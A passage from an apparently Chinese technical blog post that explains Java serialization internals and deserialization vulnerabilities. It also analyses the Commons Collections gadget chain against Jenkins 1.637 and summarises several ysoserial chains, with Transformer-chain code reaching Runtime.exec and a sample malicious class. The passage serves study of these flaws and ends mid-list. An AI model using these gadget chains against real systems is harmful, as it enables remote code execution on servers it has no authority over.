* `writeClassDesc()`进入分支`writeNonProxyDesc()`写入类描述数据
* 写入类描述符标识
* 写入类名
* 写入SUID _（当SUID为空时，会进行计算并赋值，细节见下面关于SerialVersionUID章节）_
* 计算并写入序列化属性标志位
* 写入字段信息数据
* 写入Block Data结束标识
* 写入父类描述数据
* `writeSerialData()`写入对象的序列化数据
* 若类自定义了`writeObject()`，则调用该方法写对象，否则调用`defaultWriteFields()`写入对象的字段数据 _（若是非原始类型，则递归处理子对象）_
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96)反序列化
继续用简单的示例来看看反序列化：
public static void main(String[] args) throws ClassNotFoundException {
byte[] data; // read from file or request
ByteArrayInputStream bin = new ByteArrayInputStream(data);
ObjectInputStream in = new ObjectInputStream(bin);
SerializationDemo demo = (SerializationDemo) in.readObject();
}
它的执行流程如下：
1. `ObjectInputStream`实例初始化时，读取魔术头和版本号进行校验
2. 调用`ObjectInputStream.readObject()`开始读对象数据
* 读取对象类型标识
* `readOrdinaryObject()`读取数据对象
* `readClassDesc()`读取类描述数据
* 读取类描述符标识，进入分支`readNonProxyDesc()`
* 读取类名
* 读取SUID
* 读取并分解序列化属性标志位
* 读取字段信息数据
* `resolveClass()`根据类名获取待反序列化的类的`Class`对象，如果获取失败，则抛出`ClassNotFoundException`
* `skipCustomData()`循环读取字节直到Block Data结束标识为止
* 读取父类描述数据
* `initNonProxy()`中判断对象与本地对象的SUID和类名 _（不含包名）_ 是否相同，若不同，则抛出`InvalidClassException`
* `ObjectStreamClass.newInstance()`获取并调用离对象最近的非`Serializable`的父类的无参构造方法 _（若不存在，则返回`null`）_ 创建对象实例
* `readSerialData()`读取对象的序列化数据
* 若类自定义了`readObject()`，则调用该方法读对象，否则调用`defaultReadFields()`读取并填充对象的字段数据
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E5%85%B3%E4%BA%8Eserialversionuid)关于SerialVersionUID
在Java的序列化机制中，SUID占据着很重要的位置，它相当于一个对象的指纹信息，可以直接决定反序列化的成功与否，通过上面对序列化和反序列化流程的分析也可以看出来，若SUID不一致，是无法反序列化成功的。
但是，SUID到底是如何生成的，它的指纹信息维度包括对象的哪些内容，可能还是有很多同学不太清楚。这里我们对照[官方文档](https://docs.oracle.com/javase/8/docs/platform/serialization/spec/class.html#a4100)的说明，结合JDK的源代码来为大家简单的梳理一下。
首先`ObjectStreamClass.getSerialVersionUID()`在获取SUID时，会判断SUID是否已经存在，若不存在才调用`computeDefaultSUID()`计算默认的SUID：
public long getSerialVersionUID() {
if (suid == null) {
suid = AccessController.doPrivileged(
new PrivilegedAction<Long>() {
public Long run() {
return computeDefaultSUID(cl);
}
}
);
}
return suid.longValue();
}
先顺带提一嘴，`AccessController.doPrivileged()`会忽略JRE配置的安全策略的检查，以特权的身份去执行`PrivilegedAction`接口中的`run()`，可以防止JDK底层在进行序列化和反序列化时可能出现的一些权限问题。这些内容与本文主题无关，不多作详细解释，感兴趣的同学可以去看看Java的Security包和其中的java.policy、java.security文件内容。
重点来了，计算SUID时，会先创建一个`DataOutputStream`对象，所有二进制数据写入其包装的`ByteArrayOutputStream`中：
1. 写入类名 _（UTF8）_
dout.writeUTF(cl.getName());
2. 写入类访问权限标识
int classMods = cl.getModifiers() &
(Modifier.PUBLIC | Modifier.FINAL |
Modifier.INTERFACE | Modifier.ABSTRACT);
Method[] methods = cl.getDeclaredMethods();
if ((classMods & Modifier.INTERFACE) != 0) {
classMods = (methods.length > 0) ?
(classMods | Modifier.ABSTRACT) :
(classMods & ~Modifier.ABSTRACT);
}
dout.writeInt(classMods);
3. 如果不是数组类型，写入实现接口的接口名，按接口名排序
if (!cl.isArray()) {
Class<?>[] interfaces = cl.getInterfaces();
String[] ifaceNames = new String[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
ifaceNames[i] = interfaces[i].getName();
}
Arrays.sort(ifaceNames);
for (int i = 0; i < ifaceNames.length; i++) {
dout.writeUTF(ifaceNames[i]);
}
}
4. 写入非私有静态或瞬态字段信息数据，包括字段名、字段访问权限标识和字段签名，按字段名排序
Field[] fields = cl.getDeclaredFields();
MemberSignature[] fieldSigs = new MemberSignature[fields.length];
for (int i = 0; i < fields.length; i++) {
fieldSigs[i] = new MemberSignature(fields[i]);
}
Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.name.compareTo(ms2.name);
}
});
for (int i = 0; i < fieldSigs.length; i++) {
MemberSignature sig = fieldSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |
Modifier.TRANSIENT);
if (((mods & Modifier.PRIVATE) == 0) ||
((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))
{
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature);
}
}
5. 如果存在类初始化器 _（不是类实例化的构造方法，感兴趣的同学可以去看看JVM规范中的相关内容）_ ，写入固定的初始化器信息数据
if (hasStaticInitializer(cl)) {
dout.writeUTF("<clinit>");
dout.writeInt(Modifier.STATIC);
dout.writeUTF("()V");
}
6. 写入非私有构造方法信息数据，包括方法名 _（固定为`<init>`）_ 、方法访问权限标识和方法签名 _（分隔符`/`会替换成`.`的包名形式）_ ，按方法签名排序
Constructor<?>[] cons = cl.getDeclaredConstructors();
MemberSignature[] consSigs = new MemberSignature[cons.length];
for (int i = 0; i < cons.length; i++) {
consSigs[i] = new MemberSignature(cons[i]);
}
Arrays.sort(consSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
return ms1.signature.compareTo(ms2.signature);
}
});
for (int i = 0; i < consSigs.length; i++) {
MemberSignature sig = consSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF("<init>");
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
7. 写入非私有方法，包括方法名、方法访问权限标识和方法签名，按方法名和方法签名排序
MemberSignature[] methSigs = new MemberSignature[methods.length];
for (int i = 0; i < methods.length; i++) {
methSigs[i] = new MemberSignature(methods[i]);
}
Arrays.sort(methSigs, new Comparator<MemberSignature>() {
public int compare(MemberSignature ms1, MemberSignature ms2) {
int comp = ms1.name.compareTo(ms2.name);
if (comp == 0) {
comp = ms1.signature.compareTo(ms2.signature);
}
return comp;
}
});
for (int i = 0; i < methSigs.length; i++) {
MemberSignature sig = methSigs[i];
int mods = sig.member.getModifiers() &
(Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |
Modifier.STATIC | Modifier.FINAL |
Modifier.SYNCHRONIZED | Modifier.NATIVE |
Modifier.ABSTRACT | Modifier.STRICT);
if ((mods & Modifier.PRIVATE) == 0) {
dout.writeUTF(sig.name);
dout.writeInt(mods);
dout.writeUTF(sig.signature.replace('/', '.'));
}
}
以上就是SUID中包含的类的所有信息，得到的二进制串如下：
00 11 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 44 ..Serial izationD
65 6d 6f 00 00 00 01 00 14 6a 61 76 61 2e 69 6f emo..... .java.io
2e 53 65 72 69 61 6c 69 7a 61 62 6c 65 00 08 69 .Seriali zable..i
6e 74 46 69 65 6c 64 00 00 00 02 00 01 49 00 0b ntField. .....I..
73 74 72 69 6e 67 46 69 65 6c 64 00 00 00 02 00 stringFi eld.....
12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53 74 72 69 .Ljava/l ang/Stri
6e 67 3b 00 06 3c 69 6e 69 74 3e 00 00 00 01 00 ng;..<in it>.....
16 28 4c 6a 61 76 61 2e 6c 61 6e 67 2e 53 74 72 .(Ljava. lang.Str
69 6e 67 3b 49 29 56 00 04 6d 61 69 6e 00 00 00 ing;I)V. .main...
09 00 16 28 5b 4c 6a 61 76 61 2e 6c 61 6e 67 2e ...([Lja va.lang.
53 74 72 69 6e 67 3b 29 56 String;)V
最后，将二进制数据通过SHA1算法得到摘要，取前8位按BigEndian的字节顺序转换成长整型：
long hash = 0;
for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {
hash = (hash << 8) | (hashBytes[i] & 0xFF);
}
返回的`hash`就是最终的SUID了。
由此可知，当父类或非原始数据类型字段的类内部发生变更时，并不会影响当前类的SUID值，再结合之前的内容我们还可以引申出两个结论：
1. 若当前类自定义了`readObject()`，在反序列化时会正常执行`readObject()`中所有`ObjectInputStream.defaultReadObject()` _（如果调用了的话）_ 之前的逻辑；否则在处理到变更对象时，仍会抛出`InvalidClassException`
2. 由于序列化会对类的字段进行排序，并在反序列化时按顺序遍历处理，所以反序列化会正常处理字段名比变更对象类型字段『小』的其他字段
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E5%85%B3%E4%BA%8Ewritereplace%E5%92%8Creadresolve)关于`writeReplace()`和`readResolve()`
在前面的执行流程分析中，为了突出主要逻辑，我们主观的忽略了一些内容，其中就包括了序列化的`invokeWriteReplace()`和反序列化的`invokeReadResolve()`。
现在就来看看它们分别有什么作用：
* `writeReplace()`
返回一个对象，该对象为实际被序列化的对象，在原对象序列化之前被调用，替换原对象成为待序列化对象
* `readResolve()`
返回一个对象，该对象为实际反序列化的结果对象，在原对象反序列化之后被调用，不影响原对象的反序列化过程，仅替换结果
再从具体示例来体会一下：
public class SerializationReplacementClass implements Serializable {
protected String replacementField;
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
}
private Object readResolve() {
return new SerializationReplacementClass("resolve");
}
private SerializationReplacementClass(String s) {
this.replacementField = s;
}
public SerializationReplacementClass() {
this.replacementField = "replace";
}
}
public class SerializationDemo implements Serializable {
// omit
private Object writeReplace() {
return new SerializationReplacementClass();
}
// omit
public static void main(String[] args) throws ClassNotFoundException {
// omit
SerializationReplacementClass demo = (SerializationReplacementClass) in.readObject();
}
}
从序列化之后得到的二进制串中可以看到目标对象已经被替换成了`SerializationReplacementClass`：
ac ed 00 05 73 72 00 1d 53 65 72 69 61 6c 69 7a ....sr.. Serializ
61 74 69 6f 6e 52 65 70 6c 61 63 65 6d 65 6e 74 ationRep lacement
43 6c 61 73 73 32 71 ac e9 c1 d3 0b 7b 02 00 01 Class2q. ....{...
4c 00 10 72 65 70 6c 61 63 65 6d 65 6e 74 46 69 L..repla cementFi
65 6c 64 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 eldt..Lj ava/lang
2f 53 74 72 69 6e 67 3b 78 70 74 00 07 72 65 70 /String; xpt..rep
6c 61 63 65 lace
而在反序列化之后得到的对象的`replacementField`字段值则为`resolve`，但在此之前`readObject()`也会被正常调用，当时`replacementField`字段值为`replace`。
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E5%85%B3%E4%BA%8Eexternalizable)关于`Externalizable`
`Serializable`接口还有一个比较常见的子类`Externalizable`，它比它爸爸特殊的地方就在于它需要自己实现读写方法
_（`readExternal()`和`writeExternal()`）_ ，同时必须包含一个自己的无参构造方法 _（默认隐式的也可以）_ 。
仍以示例说话：
public class ExternalizationDemo implements Externalizable {
private String stringField;
private int intField;
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeUTF(this.stringField);
out.writeInt(this.intField);
}
@Override
public void readExternal(ObjectInput in) throws IOException {
this.stringField = "hello, i'm " + in.readUTF();
this.intField = in.readInt() + 100000;
}
public ExternalizationDemo(String s, int i) {
this.stringField = s;
this.intField = i;
}
public ExternalizationDemo() {}
}
序列化之后得到的二进制串如下：
ac ed 00 05 73 72 00 13 45 78 74 65 72 6e 61 6c ....sr.. External
69 7a 61 74 69 6f 6e 44 65 6d 6f d9 a9 04 75 84 izationD emo...u.
5d 06 8f 0c 00 00 78 70 77 0b 00 05 67 79 79 79 ].....xp w...gyyy
79 00 01 7d f1 78 y..}.x
与`Serializable`的区别：
* 对象的序列化属性标志位为`0x0c`，包括`Serializable`和Block Data的标志
* 序列化类的字段个数固定为0
* 序列化调用`writeExternalData()`转给类自定义的写方法，将写入的数据包装在新的Block Data块中，第一个字节为块长度 _（不含块头尾标识）_
* 反序列化调用`readExternalData()`转给类自定义的读方法，再调用对象的无参构造方法 _（若不存在，则返回`null`）_ 进行实例化
## 反序列化漏洞
通过以上对Java的序列化机制的大致了解，我们可以想象一个场景 _（有基础的同学可以跳过本部分内容，当然，看一看也没坏处）_ ：
> 当服务端允许接收远端数据进行反序列化时，客户端可以提供任意一个服务端存在的对象 _（包括依赖包中的对象）_
> 的序列化二进制串，由服务端反序列化成相应对象。如果该对象是由攻击者『精心构造』的恶意对象，而它自定义的`readObject()`中存在着一些『不安全』的逻辑，那么在对它反序列化时就有可能出现安全问题。
说到这，我提三个问题，请大家跟着我的思路去分析，先来看看第一个：
1. 为什么需要依赖反序列化对象的自定义`readObject()`？
大家都知道，正常来说，反序列化只是一个对象实例化然后赋值的过程，如果之后不主动调用它的内部方法，理论上最多只能控制它字段的值而已。那么有没有什么办法能够让它执行反序列化以外的逻辑呢？毕竟做的越多中间产生问题的概率就越大。
我们还是先以大家更熟悉的PHP来举个例。在PHP内部，保留了十多个被称为魔术方法的类方法，这些魔术方法一般会伴随着类的生命周期被PHP底层自动调用，用户可以在类中显式定义它们的逻辑。
就拿与反序列化关系最密切的`__wakeup()`来说，我们回到最初的那个类`SerializationDemo`，给它加一点东西：
class SerializationDemo {
public function __wakeup() {
echo $this->stringField;
}
}
在反序列化`SerializationDemo`这个对象时，就会调用`__wakeup()`执行里面的逻辑。示例中的逻辑只是输出一个字符串，如果改成`exec($this->stringField);`呢？
实际当然不会这么简单，有可能它是把自己的字段作为值作为参数调用了某个类的方法，而那个方法里对参数做了某些不安全的操作，甚至有可能经过多个类多个方法调用，形成一个调用链。
这就是默认的反序列化逻辑的一个逃逸过程。
到这里你可能已经想到了，Java反序列化中`readObject()`的作用其实就相当于PHP反序列化中的那些魔术方法，使反序列化过程在一定程度上受控成为可能，但也只是可能而已，是否真的可控，还是需要分析每个对象的`readObject()`具体是如何实现的
_（别急，后面有章节会有详细介绍）_ 。
接着看第二个问题：
2. 反序列化对象的非`Serializable`父类无参构造方法是否能像PHP中的`__construct()`一样被利用？
答案应该是不行的。因为前面已经提到过，我们只能够控制反序列化对象的字段值，而Java与PHP不同的是，JDK底层会先调用无参构造方法实例化，再读取序列化的字段数据赋值，所以我们没有办法将可控的字段值在实例化阶段传入构造方法中对其内部逻辑产生影响。
最后一个：
3. `readResolve()`对反序列化漏洞有什么影响？
`readResolve()`只是替换反序列化结果对象，若是结果对象本身存在安全问题，它有可能让问题中断；若是`readObject()`存在安全问题，它无法避免。
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E7%BB%8F%E5%85%B8%E7%9A%84apache-commons-collections)经典的Apache Commons Collections
好，有了上面的基础，我们也照一回惯例，带大家一起分析一下Java历史上最出名也是最具代表性的Apache Commons
Collections反序列化漏洞。
网上很多文章都是以WebLogic为漏洞环境，我们尊重开源，围绕1.637版本的Jenkins来开个头，先简单看看它的Cli组件的反序列化场景
_（这里只以CLI-connect协议为例，CLI2-connect会多出来一个SSL加解密的过程，这也是很多公开PoC在模拟Cli握手时选择CLI-connect协议的原因）_ ：
1. 客户端向发送一个UTF8字符串`Protocol:CLI-connect`，前两位为字符串长度
2. 服务端`TcpSlaveAgentListener`在接收到数据之后，会创建一个`ConnectionHandler`对象读取一个UTF8字符串，判断协议版本，交给对应的协议进行处理
* `CliProtocol`响应`Welcome`字符串，由`ChannelBuilder`为两端创建一个包含了`Connection`对象 _（IO流对象在里面）_ 的`Channel`通信通道，并调用`negotiate()`进行交互
* `Capability.writePreamble()`响应序列化后的`Capability`对象，其中使用`Mode.TEXT.wrap()`将输出流包装为`BinarySafeStream`，它会在写时进行Base64编码
* 由于`ChannelBuilder`在build之前，调用了`withMode()`设置`mode`为`Mode.BINARY`，因此还会响应一个`0x00000000`
* 等待接收后续数据，判断数据内容前缀为`Capability.PREAMBLE` _（`<===[JENKINS REMOTING CAPACITY]===>`）_ 时，将`InputStream`传给`Capability.read()`
* `Capability`同样会对输入流做一次`BinarySafeStream`包装，保证在读数据时解码得到原始二进制数据，再扔给输入流的`readObject()`继续读
回看`Connection`中自定义的`readObject()`，是一个普普通通的`ObjectInputStream`反序列化：
public <T> T readObject() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(in);
return (T)ois.readObject();
}
现在我们假设已知1.637版本的Jenkins引用了存在反序列化漏洞的Commons
Collections的版本的Jar包，那么只需要利用它构造一个恶意对象的序列化串，在与Jenkins
Cli完成握手之后，将其Base64编码后的字符串发送过去就行了 _（当然，千万别忘了前面那串酷酷的前缀）_ 。
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#payload%E6%9E%84%E9%80%A0)Payload构造
好的，现在让我们聚焦到Commons Collections内部，看看前辈们是如何利用它来让应用『产生』问题的。
我们先预备一个基本知识，在Java中，若想通过其原生JDK提供的接口执行系统命令，最常见的语句如下：
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
很简单，一个单例模式的方法获取到`Runtime`的实例，再调用它的`exec()`执行命令。在表达式注入类RCE漏洞中也可以频繁看到利用各种条件特性来构造这段语句的身影，比如Struts2的OGNL：
@java.lang.Runtime@getRuntime().exec(cmd)
又比如Spring的SpEL：
T(java.lang.Runtime).getRuntime().exec(cmd)
这里替小白问个基础但又和接下来的内容有关的问题：为什么都要使用链式结构？
原因其实很简单，因为无论是表达式解析执行还是反序列化时，底层通过反射技术获取对象调用函数都会存在一个上下文环境，使用链式结构的语句可以保证执行过程中这个上下文是一致的。你也可以换个方式问自己，如果你第一次请求`Runtime.getRuntime()`，那如何保证第二次请求`rt.exec()`能够拿到第一次的`Runtime`对象呢？
了解了这个问题之后，我们就可以开始尝试用Commons Collections先来构造这个链式结构了。
前辈们为我们在Commons Collections中找到了一个用于对象之间转换的`Transformer`接口，它有几个我们用得着的实现类：
1. `ConstantTransformer`
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
2. `InvokerTransformer`
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
// omit
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// omit
}
3. `ChainedTransformer`
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
利用这几个对象，可以构造出下面这条链：
Transformer[] trans = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
Transformer chain = new ChainedTransformer(trans);
其中，数组的中间两个元素是最让人费解的，我们一句一句来解释
_（前方高能预警，请对照上面几个`Transformer`的逻辑仔细看，接下来的内容网上有些解释是存在出入的）_ ：
1. 构造一个`ConstantTransformer`，把`Runtime`的`Class`对象传进去，在`transform()`时，始终会返回这个对象
2. 构造一个`InvokerTransformer`，待调用方法名为`getMethod`，参数为`getRuntime`，在`transform()`时，传入1的结果，此时的`input`应该是`java.lang.Runtime`，但经过`getClass()`之后，`cls`为`java.lang.Class`，之后`getMethod()`只能获取`java.lang.Class`的方法，因此才会定义的待调用方法名为`getMethod`，然后其参数才是`getRuntime`，它得到的是`getMethod`这个方法的`Method`对象，`invoke()`调用这个方法，最终得到的才是`getRuntime`这个方法的`Method`对象
3. 构造一个`InvokerTransformer`，待调用方法名为`invoke`，参数为空，在`transform()`时，传入2的结果，同理，`cls`将会是`java.lang.reflect.Method`，再获取并调用它的`invoke`方法，实际上是调用上面的`getRuntime()`拿到`Runtime`对象
4. 构造一个`InvokerTransformer`，待调用方法名为`exec`，参数为命令字符串，在`transform()`时，传入3的结果，获取`java.lang.Runtime`的`exec`方法并传参调用
5. 最后把它们组装成一个数组全部放进`ChainedTransformer`中，在`transform()`时，会将前一个元素的返回结果作为下一个的参数，刚好满足需求
既然第2、3步这么绕，我们又知道了为什么，是不是可以考虑用下面这种逻辑更清晰的方式来构造呢：
Transformer[] trans = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("getRuntime", new Class[0], new Object[0]),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd })};
答案是不行的。虽然单看整个链，无论是定义还是执行都是没有任何问题的，但是在后续序列化时，由于`Runtime.getRuntime()`得到的是一个对象，这个对象也需要参与序列化过程，而`Runtime`本身是没有实现`Serializable`接口的，所以会导致序列化失败。
也有同学可能看过ysoserial构造的Payload，它的习惯是先定义一个包含『无效』`Transformer`的`ChainedTransformer`，等所有对象装填完毕之后再利用反射将实际的数组放进去。这么做的原因作者也在一个[Issue](https://github.com/frohoff/ysoserial/issues/32)中给了解释，我们直接看原文：
> Generally any reflection at the end of gadget-chain set up is done to “arm”
> the chain because constructing it while armed can result in premature
> “detonation” during set-up and cause it to be inert when serialized and
> deserialized by the target application.
现在，有了这条`Transformer`链，就等着谁来执行它的`transform()`了。
网上流传的示例很多都是使用一个名为`TransformedMap`的装饰器来触发`transform()`，它在装饰时会传入原始`Map`、一个键转换器`Transformer`和一个值转换器`Transformer`，而它的父类在内部实现了一个`AbstractMapEntryDecorator`的子类，会在`setValue()`前调用`checkSetValue()`进行检查，而`TransformedMap.checkSetValue()`会调用它的值转换器的`transform()`，因此装饰任意一个有元素的`Map`就可以满足需求：
Map m = TransformedMap.decorate(new HashMap(){{ put("value", "anything"); }}, null, chain);
这时，我们只需要再找一个包含可控`Map`字段，并会在反序列化时对这个`Map`进行`setValue()`或`get()`操作的公共对象。
幸运的是，前辈们在JDK较早的版本中发现了`AnnotationInvocationHandler`这个对象
_（较新版本的JDK可以使用`BadAttributeValueExpException`，在这里就不展开了）_
，它在初始化时可以传入一个`Map`类型参数赋值给字段`memberValues`，`readObject()`过程中如果满足一定条件就会对`memberValues`中的元素进行`setValue()`：
private void readObject(java.io.ObjectInputStream s)
s.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
可以看到，在遍历`memberValues.entrySet()`时，会用键名在`memberTypes`中尝试获取一个`Class`，并判断它是否为`null`，这就是刚才说的需要满足的条件。接下来是网上很少提到过的一个结论：
首先，`memberTypes`是`AnnotationType`的一个字段，里面存储着`Annotation`接口声明的方法信息
_（键名为方法名，值为方法返回类型）_
。因此，我们在获取`AnnotationInvocationHandler`实例时，需要传入一个方法个数大于0的`Annotation`子类
_（一般来说，若方法个数大于0，都会包含一个名为`value`的方法）_
，并且原始`Map`中必须存在任意以这些方法名为键名的元素，才能顺利进入`setValue()`的流程：
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructors()[0];
ctor.setAccessible(true);
Object o = ctor.newInstance(Target.class, m);
以上是`TransformedMap`的利用构造过程。而ysoserial官方更倾向于使用`LazyMap`作为装饰器，它在装饰时会传入原始`Map`和一个`Transformer`作为工厂，当`get()`获取值时，若键不存在，就会调用工厂的`transform()`创建一个新值放入`Map`中，因此装饰任意一个空`Map`也可以满足需求：
Map m = LazyMap.decorate(new HashMap(), chain);
但与`TransformedMap`不同的是，`AnnotationInvocationHandler.readObject()`中并没有直接的对`memberTypes`执行`get()`操作，反而是在它的`invoke()`中存在`get()`，但又对方法名有一定的要求：
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
assert paramTypes.length == 0;
if (member.equals("toString"))
return toStringImpl();
if (member.equals("hashCode"))
return hashCodeImpl();
if (member.equals("annotationType"))
return type;
Object result = memberValues.get(member);
// omit
}
所以，ysoserial使用Java动态代理的方式处理了`LazyMap`，使`readObject()`在调用`memberValues.entrySet()`时代理进入`AnnotationInvocationHandler.invoke()`阶段，刚好方法名`entrySet`也可以顺利的跳过前面的几个判断条件，最终达到目的。这也是为什么Payload中会包含两个`AnnotationInvocationHandler`的原因。
### [](https://github.com/gyyyy/footprint/blob/master/articles/2019/about-java-serialization-and-deserialization.md#%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88)修复方案
Jenkins在1.638版本的`Connection.readObject()`中，将默认的`ObjectInputStream`改为了其自定义的子类`ObjectInputStreamEx`，并传入`ClassFilter.DEFAULT`校验过滤：
public <T> T readObject() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStreamEx(in,
getClass().getClassLoader(), ClassFilter.DEFAULT);
return (T)ois.readObject();
}
`ClassFilter.DEFAULT`长这样：
public static final ClassFilter DEFAULT = new ClassFilter() {
protected boolean isBlacklisted(String name) {
if (name.startsWith("org.codehaus.groovy.runtime.")) {
return true;
} else if (name.startsWith("org.apache.commons.collections.functors.")) {
return true;
} else {
return name.contains("org.apache.xalan");
}
}
};
还是一个简简单单的黑名单。
## POP的艺术
既然反序列化漏洞常见的修复方案是黑名单，就存在被绕过的风险，一旦出现新的POP链，原来的防御也就直接宣告无效了。
所以在反序列化漏洞的对抗史中，除了有大佬不断的挖掘新的反序列化漏洞点，更有大牛不断的探寻新的POP链。
POP已经成为反序列化区别于其他常规Web安全漏洞的一门特殊艺术。
既然如此，我们就用ysoserial这个项目，来好好探究一下现在常用的这些RCE类POP中到底有什么乾坤：
* BeanShell1
* 命令执行载体：`bsh.Interpreter`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`反序列化所有元素后，通过`comparator.compare()`进行排序，该`comparator`被代理给`XThis.Handler`处理，其`invoke()`会调用`This.invokeMethod()`从`Interpreter`解释器中解析包含恶意代码的`compare`方法并执行
* C3P0
* 命令执行载体：`bsh.Interpreter`
* 反序列化载体：`com.mchange.v2.c3p0.PoolBackedDataSource`
* `PoolBackedDataSource.readObject()`进行到父类`PoolBackedDataSourceBase.readObject()`阶段，会调用`ReferenceIndirector$ReferenceSerialized.getObject()`获取对象，其中`InitialContext.lookup()`会去加载远程恶意对象并初始化，导致命令执行，有些同学可能不太清楚远程恶意对象的长相，举个简单的例子：
public class Malicious {
public Malicious() {
java.lang.Runtime.getRuntime().exec("calc.exe");
}
}
* Clojure
* 命令执行载体：`clojure.core$comp$fn__4727`
* 反序列化载体：`HashMap`
* `HashMap.readObject()`反序列化各元素时，通过它的`hashCode()`得到hash值，而`AbstractTableModel$ff19274a.hashCode()`会从`IPersistentMap`中取`hashCode`键的值对象调用其`invoke()`，最终导致Clojure Shell命令字符串执行
* CommonsBeanutils1
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`BeanComparator.compare()`会根据`BeanComparator.property` _（值为`outputProperties`）_ 调用`TemplatesImpl.getOutputProperties()`，它在`newTransformer()`时会创建`AbstractTranslet`实例，导致精心构造的Java字节码被执行
* CommonsCollections1
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`AnnotationInvocationHandler`
* 见前文
* CommonsCollections2
* 命令执行载体：`org.apache.xalan.xsltc.trax.TemplatesImpl`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`TransformingComparator.compare()`会调用`InvokerTransformer.transform()`转换元素，进而获取第一个元素`TemplatesImpl`的`newTransformer()`并调用，最终导致命令执行
* CommonsCollections3
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`AnnotationInvocationHandler`
* 除`Transformer`数组元素组成不同外，与CommonsCollections1基本一致
* CommonsCollections4
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`PriorityQueue`
* `PriorityQueue.readObject()`执行排序时，`TransformingComparator.compare()`会调用`ChainedTransformer.transform()`转换元素，进而遍历执行`Transformer`数组中的每个元素，最终导致命令执行
* CommonsCollections5
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`BadAttributeValueExpException`
* `BadAttributeValueExpException.readObject()`当`System.getSecurityManager()`为`null`时，会调用`TiedMapEntry.toString()`，它在`getValue()`时会通过`LazyMap.get()`取值，最终导致命令执行
* CommonsCollections6
* 命令执行载体：`org.apache.commons.collections.functors.ChainedTransformer`
* 反序列化载体：`HashSet`
